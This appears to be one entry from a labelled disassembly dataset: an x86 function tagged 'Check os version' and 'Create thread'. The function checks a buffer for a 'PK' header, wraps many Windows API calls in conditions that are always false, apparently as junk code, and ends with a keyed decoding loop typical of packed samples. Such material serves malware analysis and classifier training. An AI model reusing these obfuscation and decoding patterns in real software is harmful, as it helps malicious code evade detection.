Function at 0x1000113c
Capabilities:
Check os version
Create thread

Disassembly:
mov eax, 0x1005796e
call fcn.100574a0
sub esp, 0x110
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 0x3c], edi
cmp byte [edi], 0x50
jne 0x10001bae
cmp byte [edi + 1], 0x4b
jne 0x10001bae
xor esi, esi
mov dword [ebp - 0x10], 0x90ac204e
inc esi
xor ebx, ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], 0xa2ef703c
mov dword [ebp - 0x38], 0xfffffffd
mov dword [ebp - 0x10], ebx
jmp 0x100011de
mov dword [ebp - 0x18], 0xd95e17ca
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], bl
je 0x100011a5
push ebx
push 0x2589
push ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
mov dword [ebp - 0x18], ebx
jmp 0x100011d5
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x14], ebx
jmp 0x100011c3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf4], 0x9576
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100011b2
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x12
je 0x100011aa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x13
jle 0x10001189
mov dword [ebp - 0x10], ebx
jmp 0x10001257
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x28], 0x9986e3e4
mov dword [ebp - 0x18], 0x7263b0a6
cmp dword [ebp - 0x10], ebx
je 0x1000120a
mov edx, esi
cmp dword [ebp - 0x34], ebx
jne 0x1000120c
mov edx, ebx
mov eax, dword [ebp - 0x10]
mov ecx, 0xffff
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
setle cl
xor edx, edx
imul eax, ecx, 5
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
neg ecx
cmp ecx, 0xffffffff
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 5
jge 0x100011e9
mov al, byte [edi + 2]
lea ecx, [ebp - 0xbc]
push esi
mov byte [ebp - 0x29], al
call fcn.10001bc4
push esi
lea ecx, [ebp - 0x6c]
mov dword [ebp - 4], ebx
call fcn.10001bc4
mov dword [ebp - 0x10], ebx
jmp 0x10001293
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xbc]
mov dword [eax + ecx*4], 0xec2e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10001280
mov dword [ebp - 0x10], ebx
jmp 0x100012ad
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x6c]
mov dword [eax + ecx*4], 2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000129d
mov eax, dword [ebp - 0x6c]
mov esi, dword [sym.imp.USER32.dll_GetDC]
mov dword [eax], ebx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x14], ebx
jmp 0x10001326
mov dword [ebp - 0x18], 0xfffffff6
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100012f9
push 0x223c
push ebx
push 0x72e
push 0x1476
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10001323
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1000131e
push 0x2161
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
dec dword [ebp - 0x18]
jns 0x10001301
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x100012c9
mov eax, dword [ebp - 0x6c]
inc dword [eax]
cmp dword [eax], 0
jle 0x100012bd
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10001359
push ebx
push 0x2388
push 0x1a07
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
lea ecx, [ebp - 0x6c]
call fcn.10001c21
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbc]
call fcn.10001c21
mov al, byte [edi + 3]
mov dword [ebp - 0x24], 6
mov byte [ebp - 0x1a], al
mov dword [ebp - 0x14], ebx
jmp 0x10001393
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10c], 0xcff0ea75
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10001382
xor ecx, ecx
mov dword [ebp - 0x24], ebx
inc ecx
jmp 0x100013f4
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ebx
jl 0x100013f1
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], ebx
jl 0x100013cc
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100013c7
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
dec dword [ebp - 0x14]
jns 0x100013b7
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100013e9
push ebx
push 0x8d2
push ebx
push ebx
push 0xd8c
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
dec dword [ebp - 0x18]
push 1
pop ecx
jns 0x100013ac
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jle 0x100013a1
movzx edi, byte [ebp - 0x29]
mov eax, dword [ebp - 0x24]
add edi, 4
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x24], eax
push ecx
mov dword [ebp - 0x24], 0x261f9c28
lea ecx, [ebp - 0x84]
lea eax, [edi + esi]
mov dword [ebp - 0x38], eax
call fcn.10001bc4
mov dword [ebp - 0x28], 0x3acb
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x10], ebx
jmp 0x10001448
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x84]
mov dword [eax + ecx*4], 0xfb5d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x10001435
push 4
mov dword [ebp - 0x10], ebx
pop edx
jmp 0x10001463
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x104], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10001456
cmp dword [ebp - 0x24], ebx
je 0x10001486
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x1000150a
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x1000150a
mov dword [ebp - 0x10], 0xe662
mov dword [ebp - 0x30], 0x658d83f7
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x24], ebx
je 0x100014b7
mov eax, dword [ebp - 0x84]
cmp dword [eax], ebx
je 0x100014b7
xor eax, eax
inc eax
jmp 0x100014b9
mov eax, ebx
mov dword [ebp - 0x24], eax
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x10]
cmp eax, edx
mov eax, dword [ebp - 0x84]
setge cl
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x10]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x10001520
push 0x1988
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
lea ecx, [ebp - 0x84]
call fcn.10001c21
mov dword [ebp - 0x18], ebx
add edi, 0x18
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x20], 0x97b09b37
mov dword [ebp - 0x34], 0x4f4cc511
mov dword [ebp - 0x24], 0x477ae27
mov dword [ebp - 0x14], ebx
jmp 0x1000155f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10001552
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, 0x168f928d
setg cl
xor edx, edx
cmp ecx, 0xfffffffc
setg dl
xor ecx, ecx
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmp eax, edx
setge cl
mov dword [ebp - 0x114], ecx
lea eax, [ecx + 0x1c77]
test eax, eax
jne 0x100015a0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, 1
push 2
setle cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x6082
setne al
add eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, 0x13638ecf
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
movzx eax, byte [ebp - 0x1a]
setne cl
add edi, eax
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x90]
call fcn.10001bc4
mov dword [ebp - 4], 1
mov dword [ebp - 0x20], 0xf2f4a8b1
mov dword [ebp - 0x10], ebx
jmp 0x1000162c
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x90]
mov dword [eax + ecx*4], 0xea75c96
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10001619
mov dword [ebp - 0x10], ebx
jmp 0x10001648
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe4], 0xf2f37fc0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10001637
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 1
jg 0x1000176c
push 1
lea ecx, [ebp - 0x60]
call fcn.10001bc4
mov dword [ebp - 0x28], 0x8f5537c5
mov dword [ebp - 0x10], ebx
jmp 0x10001681
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x60]
mov dword [eax + ecx*4], 0x924b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x10001671
mov dword [ebp - 0x10], ebx
jmp 0x1000169a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x54], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1000168c
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, 0xfffffffc
mov eax, dword [ebp - 0x20]
setg cl
xor edx, edx
cmp ecx, 0x1be3
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x60]
setge dl
xor ecx, ecx
cmp dword [eax], edx
sete cl
add ecx, 0x881dda8
jne 0x100016e8
cmp dword [ebp - 0xdc], ebx
jne 0x100016e8
mov edx, ebx
jmp 0x100016eb
xor edx, edx
inc edx
mov eax, dword [ebp - 0xdc]
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x4c]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0x14f16367
setg al
xor ecx, ecx
cmp eax, 0xb38e
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x20]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x4c]
setg dl
sub edx, dword [eax]
mov eax, dword [ebp - 0x20]
add ecx, edx
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x60]
setle dl
imul edx, dword [eax]
mov dword [eax + esi*4], edx
call fcn.10001c21
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jle 0x1000165b
mov esi, dword [ebp - 0x3c]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x90]
call fcn.10001c21
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0x14]
mov edx, dword [eax]
call fcn.10001130
push 1
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0x30], eax
call fcn.10001bc4
mov dword [ebp - 4], 2
mov dword [ebp - 0x18], 0x6d44418
mov dword [ebp - 0x28], 0xa9017ca4
mov dword [ebp - 0x14], ebx
jmp 0x100017c5
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc8]
mov dword [eax + ecx*4], 0xd5464b5f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x100017b2
mov byte [ebp - 0x1a], bl
cmp byte [ebp - 0x1a], 0
je 0x100017e2
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov dword [ebp - 0x18], ebx
jmp 0x10001820
push 3
lea ecx, [ebp - 0xd4]
call fcn.10001bc4
mov dword [ebp - 0x14], ebx
jmp 0x10001809
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xd4]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100017f9
dec dword [ebp - 0x28]
lea ecx, [ebp - 0xd4]
call fcn.10001c21
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x100017e7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc8]
call fcn.10001c21
push 3
lea ecx, [ebp - 0x78]
add esi, edi
call fcn.10001bc4
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10001858
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x78]
mov dword [eax + ecx*4], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10001848
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], ebx
jl 0x100018b2
mov dword [ebp - 0x34], 0x39f3faa3
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
je 0x10001889
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x78]
cmp dword [eax + ecx*4], ebx
je 0x10001889
xor edx, edx
inc edx
jmp 0x1000188b
mov edx, ebx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x78]
mov eax, dword [ecx + eax*4]
add eax, dword [ecx]
xor ecx, ecx
cmp eax, 4
setg cl
xor eax, eax
cmp edx, ecx
setl al
sub eax, 0x32470555
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x20]
jns 0x1000186a
lea ecx, [ebp - 0x78]
call fcn.10001c21
mov eax, dword [ebp + 8]
mov edi, dword [ebp - 0x30]
mov dword [eax], edi
mov dword [ebp - 0x10], 4
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x14], 0x2ff3e141
mov dword [ebp - 0x34], 0x4d1cd050
mov dword [ebp - 0x28], 0xfffffffb
mov dword [ebp - 0x30], 0x477d717f
mov dword [ebp - 0x18], ebx
jmp 0x100018ff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x48], 0xa8c6a53d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100018f1
push 2
pop edx
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], ebx
jl 0x100019f8
mov dword [ebp - 0x20], 0x66c93ee3
mov dword [ebp - 0x18], 0xcbe92e3f
mov dword [ebp - 0x30], 0xb6b7be2d
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
je 0x1000194f
mov dword [ebp - 0x18], 0xa67f
cmp dword [ebp - 0x18], ebx
jne 0x10001943
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
test eax, eax
setle cl
sub ecx, dword [ebp - 0x30]
dec ecx
je 0x10001969
cmp dword [ebp - 0x18], ebx
je 0x10001969
xor eax, eax
inc eax
jmp 0x1000196b
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x30]
jle 0x100019d1
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], ebx
jl 0x100019b8
mov byte [ebp - 0x1a], bl
cmp byte [ebp - 0x1a], 0
je 0x100019b0
push ebx
push 0xc1d
push ebx
push 0xc2a
push 0x7af
push ebx
push 0x1eed
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
dec dword [ebp - 0x18]
jns 0x1000198a
push 2
pop edx
mov dword [ebp - 0x20], ebx
jmp 0x100019ca
cmp dword [ebp - 0x14], ebx
jne 0x100019ef
cmp dword [ebp - 0x24], ebx
jne 0x100019ef
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jle 0x100019bd
jmp 0x100019ef
mov byte [ebp - 0x1a], bl
cmp byte [ebp - 0x1a], 0
je 0x100019ef
push ebx
push 0x190f
push 0xf0a
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 2
pop edx
dec dword [ebp - 0x10]
jns 0x10001914
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], ebx
jl 0x10001b5c
mov dword [ebp - 0x18], 0xfffffffa
or eax, 0xffffffff
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x30], 0xfffffff6
mov byte [ebp - 0x1a], bl
cmp byte [ebp - 0x1a], 0
je 0x10001a44
push ebx
push ebx
push 0x13eb
push ebx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
cmp dword [ebp - 0x14], ebx
je 0x10001aa4
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
sub edx, 6
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setle cl
imul edx, ecx, 0x673e
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x48]
cmp edx, eax
setge cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x48]
mov dword [ebp - 0x24], 0xffffffff
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp eax, 0x9a34
setg cl
cmp ecx, 0xfffffff9
sbb eax, eax
inc eax
cmp dword [ebp - 0x34], eax
jle 0x10001ac8
cmp dword [ebp - 0x28], ebx
jne 0x10001ac8
mov edx, ebx
jmp 0x10001acb
xor edx, edx
inc edx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x48]
cmp edx, eax
mov eax, dword [ebp - 0x40]
setg cl
inc eax
add ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x44]
jne 0x10001afb
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x48], ebx
jne 0x10001afb
mov ecx, ebx
jmp 0x10001afe
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x48]
sub ecx, eax
sub ecx, 0x1b98b5db
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x28]
jl 0x10001b1e
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x48]
cmp eax, 0xffff4185
setg cl
mov dword [ebp - 0xb0], ecx
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x10]
jns 0x10001a04
mov ecx, dword [ebp - 0x38]
shr edi, 2
mov eax, dword [ecx]
mov dword [ebp - 0xa0], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x9c], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x98], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x94], eax
inc edi
je 0x10001bb3
sub dword [ebp - 0x3c], esi
mov ecx, dword [esi]
mov edx, ebx
and edx, 3
mov edx, dword [ebp + edx*4 - 0xa0]
call fcn.10001130
mov ecx, dword [ebp - 0x3c]
inc ebx
mov dword [ecx + esi], eax
lea esi, [esi + 4]
cmp ebx, edi
jb 0x10001b8b
jmp 0x10001bb3
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret